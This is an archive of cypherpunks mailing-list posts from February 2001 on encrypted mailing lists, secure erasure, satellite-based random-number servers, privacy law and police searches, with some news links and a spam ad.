--On 20 February 2001 16:20 +0000 Ben Laurie <ben at algroup.co.uk> wrote:

> Joseph Ashwood wrote:
>>
>> Well it's not an easy way, but it's a functional way. Take the code for
>> GPG and the code for your favorite open-source list server, integrate
>> them so that each mailing list has it's own GPG key, decrypts,
>> reencrypts to the targets (individually so as to avoid having insane
>> sizes for each message) sends, repeat. If you need higher speeds you can
>> compromise of the encrypt to targets by choosing a key periodically,
>> encrypting it to all the targets and holding it to be combined with the
>> header.
>
> Hmm. I'd imagine this would not be too horribly difficult to do with
> ezmlm (since it already tend to break apart the various steps in the
> process).
>
> Cheers,
>
> Ben.
>
> --
> http://www.apache-ssl.org/ben.html
>
> "There is no limit to what a man can do or how far he can go if he
> doesn't mind who gets the credit." - Robert Woodruff







From ravage at einstein.ssz.com  Tue Feb 20 14:29:52 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:29:52 -0600
Subject: CNN.com - Justices say police can bar suspects from homes - February 20, 2001
Message-ID: <3A92EFE0.E2564E0@ssz.com>


http://www.cnn.com/2001/LAW/02/20/scotus.policesearch.ap/index.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Tue Feb 20 14:31:57 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:31:57 -0600
Subject: CNN.com - Technology - Hackers deemed terrorists under new U.K. law - February 20, 2001
Message-ID: <3A92F05D.335EC6A5@ssz.com>


http://www.cnn.com/2001/TECH/internet/02/20/hackers.terrorists.idg/index.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Tue Feb 20 14:45:45 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:45:45 -0600 (CST)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <Pine.LNX.4.21.0102201350001.24080-100000@bolt.sonic.net>
Message-ID: <Pine.LNX.3.96.1010220164402.5925C-100000@einstein.ssz.com>



On Tue, 20 Feb 2001, Ray Dillinger wrote:

> The rest of your post, I agree with. 
> 
> First, your orbital 
> random number server can only be put there by someone with 
> enough bucks to launch a rocket -- whom you have to trust 
> implicitly. None of the twenty or thirty people whom I 
> trust implicitly has that much money.  Heck, I don't even 
> think I personally *know* anyone who has that much money.

Look into experimental rocketry and 'can satellites' (there's a link on /.
about the later). The cost to put a bird in space is probably around
$100k right now.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Tue Feb 20 14:48:53 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:48:53 -0600 (CST)
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <Pine.LNX.4.21.0102201003090.4939-100000@bolt.sonic.net>
Message-ID: <Pine.LNX.3.96.1010220164719.5925D-100000@einstein.ssz.com>



What we need is encrypted distributed file systems ala Plan 9.

http://plan9.bell-labs.com

http://www.vitanuova.com

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

On Tue, 20 Feb 2001, Ray Dillinger wrote:

> 
> 
> On Mon, 19 Feb 2001, David Honig wrote:
> 
> >At 11:38 AM 2/19/01 -0800, Ray Dillinger wrote:
> >>The problem is that data that's been written over once, or even 
> >>twice or ten times, can often still be read if someone actually 
> >>takes the platters out and uses electromagnetic microscopy on 
> >>them. 
> >
> >Really?  You think the fed specs on secure wiping are disinfo?
> 
> Disinformation is such an ugly word...  and the published fed 
> specs on secure wiping apply to not-very-sensitive data.  For 
> highly sensitive data, most secure wipe specs are classified, 
> or, as someone else here pointed out, involve physical destruction 
> of the drive. 
> 
> I think this is probably one of the biggest gaps remaining in 
> system security.  If you are careful, you can use BSD and GPG 
> etc to build a quite secure box - but if sensitive plaintexts 
> are ever stored on the drive, even if they are overwritten, 
> then when a data thief willing to spend enough bucks gets the 
> drive, you lose.
> 
> At the very least, we need browsers that don't store their caches, 
> cookies, or history files in cleartext.
> 
> We need mail programs that never EVER write the cleartext to the 
> disk.
> 
> We need newsreaders that don't store the articles in cleartext, 
> or for that matter the list of newsgroups that someone is subscribed 
> to.
> 
> We need editors that don't put cleartext on the disk when you 
> hit the "save" command.
> 
> This is basic stuff, fundamental.  Hardware theft is a threat model 
> that's been far too often ignored in the design of secure systems. 
> Why bother to build a good cipher if you leave the plaintext lying 
> around where it can be stolen?
> 
> 				Bear
> 
> 




From sunder at sunder.net  Tue Feb 20 13:57:18 2001
From: sunder at sunder.net (Sunder)
Date: Tue, 20 Feb 2001 16:57:18 -0500
Subject: Is a Thermal Imaging search needful of a warrant?
References: <Pine.LNX.3.96.1010220152713.5925k-100000@einstein.ssz.com>
Message-ID: <3A92E83E.C078B207@sunder.net>


Jim Choate wrote:
> 
> > And what says that I can't shoot down a bird that flies over my property
> > provided my property is large enough to prevent me shooting bullets through
> > the neighbors' windows?
> 
> Well that depends on the sort of bird and where your property is.

Non endangered generic duck for example.  Assume it's hunting season.  Now
assume it's a radio controlled flying bot with a camera.  Can I shoot it
down if it's flying over my land and I recognize it for the spook gear it
really is?
 
> Yeah, a clear invasion of privacy without probably cause to 'unlock' or
> remove those blinds.

Probable cause != warrant.  Probable cause is needed to obtain one.  Not the
same thing.  Search warrants do not allow cops to remove blinds from windows.
They allow them the ability to search a specific location for specific items
for which they have presented a judge probable cause that they'll find said
items.  It does not allow for open ended surveilance - i.e. a fishing
expedition.

> The term 'reasonable expectation' does not appear in the Constitution and
> most certainly doesn't appear in the 4th. Read the 10th for a better
> description of what that means.

Newsflash, neither does the word 'privacy'.  Hence it's not a constitutional
issue, though it should be.  It is however a 4th ammendment issue as it
involves "searches" by government types.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From ravage at einstein.ssz.com  Tue Feb 20 14:57:55 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:57:55 -0600 (CST)
Subject: Sealand and Experimental Rocketry
Message-ID: <Pine.LNX.3.96.1010220165430.5925E-100000@einstein.ssz.com>



Sealand would be a perfect place for a group of suitably motivated persons
to attempt to place experimental class rockets with can-sat's into orbit.
They could of course apply for a slot in the orbital parking orbits or buy
one from one of the S. Pacific islands whose major incomes is sales of
same. A more optimal mechanism is put them in a short term parking orbit
that decays in about 2 months. Then put another bird up with new keys and 
potentialy capabilities. Then you wouldn't necessarily need anyone
permission to play.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From auto105124 at hushmail.com  Tue Feb 20 10:00:24 2001
From: auto105124 at hushmail.com (auto105124 at hushmail.com)
Date: Tue, 20 Feb 2001 18:00:24 +0000 (GMT+00:00)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
Message-ID: <200102202303.PAA27937@user3.hushmail.com>


On Tue, 20 Feb 2001, Ray Dillinger wrote:

> I don't see any government, or for that matter any criminal 
> organization,

Is there any difference?

> with a significant investment in SigInt allowing 
> such a launch to go up untampered if they could possibly 
> prevent it. 


From ravage at einstein.ssz.com  Tue Feb 20 16:15:41 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 18:15:41 -0600
Subject: The Register - Not to worry, the NSA admists to being 2nd class
Message-ID: <3A9308AD.7C90C684@ssz.com>


http://www.theregister.co.uk/content/8/17072.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From tcmay at got.net  Tue Feb 20 18:34:18 2001
From: tcmay at got.net (Tim May)
Date: Tue, 20 Feb 2001 18:34:18 -0800
Subject: Sealand and Experimental Rocketry
In-Reply-To: <Pine.LNX.3.96.1010220165430.5925E-100000@einstein.ssz.com>
References: <Pine.LNX.3.96.1010220165430.5925E-100000@einstein.ssz.com>
Message-ID: <a05010400b6b8d966fa1d@[207.111.241.76]>


At 4:57 PM -0600 2/20/01, Jim Choate wrote:
>Sealand would be a perfect place for a group of suitably motivated persons
>to attempt to place experimental class rockets with can-sat's into orbit.
>They could of course apply for a slot in the orbital parking orbits or buy
>one from one of the S. Pacific islands whose major incomes is sales of
>same. A more optimal mechanism is put them in a short term parking orbit
>that decays in about 2 months. Then put another bird up with new keys and
>potentialy capabilities. Then you wouldn't necessarily need anyone
>permission to play.

Sealand is a _terrible_ launch location. For multiple reasons.

Your ignorance is astounding to behold.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From ravage at EINSTEIN.ssz.com  Tue Feb 20 16:37:35 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 18:37:35 -0600 (CST)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <BNEBJALEDJIGAAEGHIGJOEFHCBAA.pzakas@toucancapital.com>
Message-ID: <Pine.LNX.3.96.1010220182517.5925J-100000@einstein.ssz.com>



On Tue, 20 Feb 2001, Phillip H. Zakas wrote:
 
> if this is true ($100K to launch) I'd help defray some of this cost just as
> a mechanism to distribute/manage my own keys.  but i suspect the satellite
> itself is pretty expensive.  when I looked into this a few years back the
> annual management of a satellite was about $250K.  I assume it's less

The $100K is predicated upon access to surplus NASA and aerospace parts
and having in hand the necessary testing facilities. This last one is the
killer. You are aware that the failure last year of the amateur race to
orbit was one of funding in all three cases? You should definitely look
into the cost analysis of those projects.

I'd suggest you contact Reaction Research Society as well,

http://www.rrs.org

$250K? Look into 'OSCAR' and 'can-sat', there's a link on /.
about can-sat currently .

A cell phone repeater with a 100W linear is sufficient. Surplus cell
transceivers are under $100. A PC-104 controller running Plan 9 (or Linux
if you're a conservative). Packet is much cheaper and it's reliable.

The project I've been working on is spun mirror telescope primaries, the
weight savings is incredible over glass. My goal is to put up a PC-104
running packet radio broadcasting one-way a view of the ground directly
'down'. I'm working up up to a larger effort.

If you ever get around to acting upon this please consider me for your
project.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From metaccess at populary.com  Tue Feb 20 10:44:58 2001
From: metaccess at populary.com (Metaccess)
Date: Tue, 20 Feb 2001 18:44:58 +0000
Subject: Internet and Web Service Providers Directory
Message-ID: <200102201755.LAA27751@einstein.ssz.com>


Dear service provider,

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- the Internet and Web service providers directory  started on February 10, 
2000.

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To register your business, click on "Submit a site".

See you soon on Metaccess.com...

-----
Metaccess, the Internet and Web service providers directory.
http://www.metaccess.com




From pzakas at toucancapital.com  Tue Feb 20 16:06:27 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Tue, 20 Feb 2001 19:06:27 -0500
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <Pine.LNX.3.96.1010220164402.5925C-100000@einstein.ssz.com>
Message-ID: <BNEBJALEDJIGAAEGHIGJOEFHCBAA.pzakas@toucancapital.com>



if this is true ($100K to launch) I'd help defray some of this cost just as
a mechanism to distribute/manage my own keys.  but i suspect the satellite
itself is pretty expensive.  when I looked into this a few years back the
annual management of a satellite was about $250K.  I assume it's less
expensive now?  also key management can be handled from the ground pretty
well.  i wouldn't use the satellite as the source of the key, i'd use it as
a kind of reflector instead.

instead of launching a dedicated satellite why not rent time on several
existing satellites and use them as reflectors?  it's a lot less expensive
and key management can be handled from the ground.

phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Jim Choate
Sent: Tuesday, February 20, 2001 5:46 PM
To: cypherpunks at einstein.ssz.com
Subject: Re: The Key Vanishes: Scientist Outlines Unbreakable Code




On Tue, 20 Feb 2001, Ray Dillinger wrote:

> The rest of your post, I agree with.
>
> First, your orbital
> random number server can only be put there by someone with
> enough bucks to launch a rocket -- whom you have to trust
> implicitly. None of the twenty or thirty people whom I
> trust implicitly has that much money.  Heck, I don't even
> think I personally *know* anyone who has that much money.

Look into experimental rocketry and 'can satellites' (there's a link on /.
about the later). The cost to put a bird in space is probably around
$100k right now.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ashwood at msn.com  Tue Feb 20 17:23:09 2001
From: ashwood at msn.com (Joseph Ashwood)
Date: Tue, 20 Feb 2001 19:23:09 -0600
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <3433926447.982686469@[10.0.0.5]>
Message-ID: <009001c09ba5$27fd6180$69cd243f@josephas>



----- Original Message -----
From: "Rachel Willmer" <rachel at intertrader.com>
To: "Ben Laurie" <ben at algroup.co.uk>; "Joseph Ashwood" <ashwood at msn.com>
Cc: <cypherpunks at cyberpass.net>; <coderpunks at toad.com>;
<cryptography at c2.net>
Sent: Tuesday, February 20, 2001 10:27 AM
Subject: Re: FAQ? how to set up a cross-platform encrypted mailing
list/forum


> The problem I see with doing this, is that it doesn't stop someone
> absent-mindedly sending out an unencrypted mail to the list server. Which
> then will travel happily in the clear over the Internet to the list
server,
> (where it gets encrypted and sent back out again but its too late by
then).
>
> so I'm coming round to the idea that the only way to do this is via a
> web-driven interface on a secure server.

So you write it so that unencrypted e-mail simply will be bounced. Simple
enough to do.
                        Joe




From gil_hamilton at hotmail.com  Tue Feb 20 19:35:33 2001
From: gil_hamilton at hotmail.com (Gil Hamilton)
Date: Tue, 20 Feb 2001 19:35:33 
Subject: privacy regulations suck also (Re: Formal apology) 
Message-ID: <F112T0apMHi0SYNIPuk00009523@hotmail.com>


Someone named Paul writes:
> > So here's the problem: these laws will if anything make it less
> > visible what information companies and governments have on you because
> > they will restrict uses.  How the data is handled and used isn't the
> > problem, the problem is that the information is collected, and
> > available to law enforcement, national intelligence and your average
> > dick (private detective).
>
>The purpose of the laws is to make MORE visible the information that
>businesses and government have on you. None of these laws call for
>"restricting" the use of information, unless of course you the consumer are
>requesting the restriction, in which case the laws mandate that said
>organization must comply with the restriction.

Somehow, for you, there is no contradiction between "none of these laws
call for 'restricting' the use of information" and "must comply with the
restriction".  Must be some other language you speak.


>Like I said before, the information MUST be collected in order to perform
>most normal business transactions (especially in health and finance).

Health care is clearly an exception since the subject matter of the
field is the person himself.  For most purposes, finance does not (read:
would not in an ideal world) require any personal information.

(Sic 'em, Hettinga! He doesn't understand the concept of a bearer bond.)


>                                                                       The
>way the information is handled and used has TREMENDOUS implications for
>privacy. I'm not sure why you think that the "way" the information is
>handled has "nothing" to do w/ privacy.. uhh.. to most people working in 
>the
>privacy field, this has EVERYTHING to do w/ privacy..

Well, Adam, after years of experimenting with, analyzing, implementing,
writing about, and discussing crypto and privacy, isn't it great
to have some bozo show up on the list and start lecturing to you about
what "most people working in the privacy field" think?


> > Privacy to me means being able to keep my affairs private from
> > governments if I choose.  The UK princple allowing you to use any name
> > you want (so long as it is not for committing fraud or a crime) is
> > agood one.  (I'm hoping that using an alias does not affect the legal
> > systems evaluation of the severity of the crime -- and that there are
> > no "use of an alias in the commission of a crime" types things in
> > effect though I don't know the details).
>
>That is an interesting definition of privacy, but it is really a subset of
>the more general definition that is more widely used in the industry, which
>is namely the ability to control secondary uses of personal information.

Ahh, the classic "Euro" privacy kleptocrat: got to "control" what those
evil corporations can do.  But pay no attention to that man from the
government: he is your Friend (or Do You Have Something To Hide?).


>Your example about the UK allowing you to use multiple names seems to me to
>be a classic case of what one would call "security through obscurity." Most
>professionals would consider this to be EXTREMLEY weak security (or, in 
>your
>case, privacy).. I'm not sure why you think this makes you more secure or
>private than a legal/economic/technical regime that allows you property
>rights over personal information..

I'm not sure why you think you have any right to tell me (or my company)
what I can do with information that resides on my private hard disk or
a piece of paper in my desk drawer.



> > So the solution appears to be technological countermeasures, and
> > repealing laws.  Neither of which appear even remotely likely within
> > the political system.  The political system has a systemic desire to
> > create more laws.  Every new law introduces more problems.  The people
> > writing the laws don't know the technology, they are control freaks,
> > and pander to media and take bribes and broker favors with special
> > interest groups.  So at this point I firmly believe in "write code not
> > laws", and think that "cypherpunks write code" is important.
>
>I'm not certain what you mean by "technological countermeasures". If you
>mean "anonymization" technology, or "zero-knowledge proofs", you can talk
>till you're blue in the face and it still won't happen, although that has
>nothing to do w/ the current political system.

It already has happened to some extent: see anonymizer.com (or the new
safeweb.com).  Digital cash will happen eventually; it's just too useful.
Other stuff will follow.


>                                                It has to do w/ the fact 
>that
>businessmen won't conduct business w/ people they can't trust (ie., people
>who are anonymous) and even IF they could, the economic reality is that
>NOTHING in the infrastructure (of banks, hospitals, retail, etc) is even
>remotely prepared for this, so why bother talking about it?

I don't know what planet you live on.  I visit a retail store nearly
every day, walk up to the counter, plop down my bills and walk out
with merchandise.  Nobody asks me my name or my social security number
or where I live.


>Better to guarantee privacy through systems that engender communication of
>adequate amounts of personal information for the transaction at hand
>(whether financial, medical or retail), but that ensure trusted handling of
>the info on the transaction is complete..

"This is _very_very_ complicated, son. Just leave it to us professionals."


>PrivacyRight, Inc. - www.privacyright.com
>Chief Technology Officer

Kinda hard to believe the CTO of a place called privacyright.com hasn't
thought a bit more deeply about this stuff.


- GH

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From ravage at einstein.ssz.com  Tue Feb 20 18:09:26 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 20:09:26 -0600 (CST)
Subject: [Sovereignty v. global justice [was... Mohammed gets Miranda]]
In-Reply-To: <20010221014045.14901.qmail@nym.alias.net>
Message-ID: <Pine.LNX.3.96.1010220200712.5925Q-100000@einstein.ssz.com>



On 21 Feb 2001, D.Popkin wrote:

> Not a misnomer, a redundancy.  All nation-states are criminal.  Honig
> had it straight:

> Non-consensual interaction is what nation-states /do/.  They supplant
> peaceful personal choice with political dictate, regardless of any
> consent by the person.  Epluribus unum, and all that.
> 
> Has your neighbor consented to delegate her authority to your nation-
> state?  Was she even asked?
> 
> I didn't think so.

Ok, what is your suggested solution? How would you create a system that
not only protected your personal liberty and freedom of choice but would
also protect you against attack from others who are threatened by your
simple existance? By people that would throw you out of a ballpark simply
because you and your lesbian lover kissed, while not objecting to hetero
familiar displays?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From aimee.farr at pobox.com  Tue Feb 20 18:46:26 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Tue, 20 Feb 2001 20:46:26 -0600
Subject: Trolling for Conspirators | HUMINT For Dummies
In-Reply-To: <00ec01c09ae9$2d449260$7660ed18@juneau.ak.net>
Message-ID: <NEBBJHBKILFDJEFIABHPGEDLCDAA.aimee.farr@pobox.com>


> But, of course, a lazy cop looking for conspirators or a lazy journalist
> looking for a story would rather troll the list.  Piss off!
>
> -- Daniel

HUMINT FOR DUMMIES
Chapter 1.......Elicitation Tactics
====================================
Rule #1: NEVER ASK A DIRECT QUESTION.
A direct question is so close to the information you are trying to elicit,
that asking it arouses suspicion.

So, that rules out everybody but Sheriff Podunk, (uhm, and me).

I've been fascinated by these discreditation posts since I got here. I have
trouble attributing it to bona-fide law enforcement or other legitimized
interests, because it's bad enough to look like somebody is blowing smoke
and that this is provided for my amusement. Could the appropriate cointel
personnel, historian, and/or sympathetic parties clue me in, please?

-A:mee




From ravage at einstein.ssz.com  Tue Feb 20 18:59:25 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 20:59:25 -0600 (CST)
Subject: Sealand and Experimental Rocketry
In-Reply-To: <a05010400b6b8d966fa1d@[207.111.241.76]>
Message-ID: <Pine.LNX.3.96.1010220205345.5925R-100000@einstein.ssz.com>



On Tue, 20 Feb 2001, Tim May wrote:

> Sealand is a _terrible_ launch location. For multiple reasons.
> 
> Your ignorance is astounding to behold.

Really? You know of another place that is likely to allow you to launch
rockets to LEO with the express intent of putting wild-card remailers and 
such in orbit? You know many countries with the sort of technical
infrastructure required for even amateur attempts? While it's true it's
latitude and weather aren't optimal for any sort of sustained commercial
or government effort but we're not talking about that now are we? It's
certainly someplace on the E. coast of the horn of Africa would be ideal I
think the S. Africans ban amatuer experimental rocketry (you are aware
MOST countries ban amateur rocketry?).

No, given the choices it's about optimal. Belize would be a good place as
well provded you could get permission. There being a member of the English
commonwealth will probably prohibit it.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From cab8 at censored.org  Tue Feb 20 18:34:48 2001
From: cab8 at censored.org (Carol Braddock)
Date: Tue, 20 Feb 2001 21:34:48 -0500
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <BNEBJALEDJIGAAEGHIGJOEFHCBAA.pzakas@toucancapital.com>
Message-ID: <LOBBLFPFEHKIMANNHFCFKEBMDHAA.cab8@censored.org>


Could the randomization inserted into the GPS system be used for a global
random number server? I think it was in the form of time jitter, so you
would have to use the difference between successive readings.

-----Original Message-----
From: owner-cypherpunks at minder.net
[mailto:owner-cypherpunks at minder.net]On Behalf Of Phillip H. Zakas
Sent: Tuesday, February 20, 2001 7:06 PM
To: cypherpunks at EINSTEIN.ssz.com
Subject: RE: The Key Vanishes: Scientist Outlines Unbreakable Code



if this is true ($100K to launch) I'd help defray some of this cost just as
a mechanism to distribute/manage my own keys.  but i suspect the satellite
itself is pretty expensive.  when I looked into this a few years back the
annual management of a satellite was about $250K.  I assume it's less
expensive now?  also key management can be handled from the ground pretty
well.  i wouldn't use the satellite as the source of the key, i'd use it as
a kind of reflector instead.

instead of launching a dedicated satellite why not rent time on several
existing satellites and use them as reflectors?  it's a lot less expensive
and key management can be handled from the ground.

phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Jim Choate
Sent: Tuesday, February 20, 2001 5:46 PM
To: cypherpunks at einstein.ssz.com
Subject: Re: The Key Vanishes: Scientist Outlines Unbreakable Code




On Tue, 20 Feb 2001, Ray Dillinger wrote:

> The rest of your post, I agree with.
>
> First, your orbital
> random number server can only be put there by someone with
> enough bucks to launch a rocket -- whom you have to trust
> implicitly. None of the twenty or thirty people whom I
> trust implicitly has that much money.  Heck, I don't even
> think I personally *know* anyone who has that much money.

Look into experimental rocketry and 'can satellites' (there's a link on /.
about the later). The cost to put a bird in space is probably around
$100k right now.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ashwood at msn.com  Tue Feb 20 20:29:01 2001
From: ashwood at msn.com (Joseph Ashwood)
Date: Tue, 20 Feb 2001 22:29:01 -0600
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <Pine.LNX.3.96.1010221000926.5925e-100000@einstein.ssz.com>
Message-ID: <02ae01c09bbf$788c66e0$69cd243f@josephas>

----- Original Message -----
From: "Jim Choate" <ravage at ssz.com>
> On Tue, 20 Feb 2001, Joseph Ashwood wrote:
> > So you write it so that unencrypted e-mail simply will be bounced.
Simple
> > enough to do.
> Really? Provide a reference to such an algorithm?
Actually considering that the reference was for PGP encrypted messages,
which have known characteristics. They decrypt, and since we also have
complete control over the requirements, you can require signatures. What are
the odds that an arbitrary message will have a verifiable PGP signature
attached? As well as appropriate formatting for decryption? That's one of
the beauties of formatting, we know exactly what it should look like, give
or take the middle parts.
                        Joe




From ravage at einstein.ssz.com  Tue Feb 20 21:10:10 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 23:10:10 -0600
Subject: CNN.com - U.S. Supreme Court hears marijuana case - February 20, 2001
Message-ID: <3A934DB2.186A7C76@ssz.com>


http://www.cnn.com/2001/LAW/02/20/scotus.heatdetector.01.ap/index.html

-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Tue Feb 20 22:11:28 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 00:11:28 -0600 (CST)
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <009001c09ba5$27fd6180$69cd243f@josephas>
Message-ID: <Pine.LNX.3.96.1010221000926.5925e-100000@einstein.ssz.com>



On Tue, 20 Feb 2001, Joseph Ashwood wrote:

> So you write it so that unencrypted e-mail simply will be bounced. Simple
> enough to do.

Really? Provide a reference to such an algorithm? Determining if a
arbitrary message is encrypted using some arbitrary algorithm is identical
to language translation, a poorly understood operation at best.

The best I've seen so far is to take random space delimited samples of the
text and determine if they fit a particular language dictionary. If they
don't fit then it is more likely to be encrypted.

That's still a long way from your claim.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From pzakas at toucancapital.com  Tue Feb 20 21:29:19 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Wed, 21 Feb 2001 00:29:19 -0500
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <LOBBLFPFEHKIMANNHFCFKEBMDHAA.cab8@censored.org>
Message-ID: <BNEBJALEDJIGAAEGHIGJIEFKCBAA.pzakas@toucancapital.com>



that's a pretty interesting proposal...check out:
http://www.phys.washington.edu/~berns/RT99/ ...this describes how gps
satellites are synched to a universal time clock at one of the labs.

also check out: http://www.epm.ornl.gov/~dunigan/atmgps/ ...this describes
using the gps timing cycles to test latency of atm networks.

as far as how random these bits are, i don't know if the entropy is very
good, and i don't know if the # of bits is enough to encrypt a message.  if
the jitter is identical for all 27 gps satellites at the same moment, those
bits could be used to define a starting point of a series of random bits in
an otp (like a cd-based otp, etc. but hopefully something better than that.)
for example two machines could be set to agree in advance to use the bits
received from gps jitter at a particular moment in time to compute the
starting sequence of an otp i suppose.
phillip
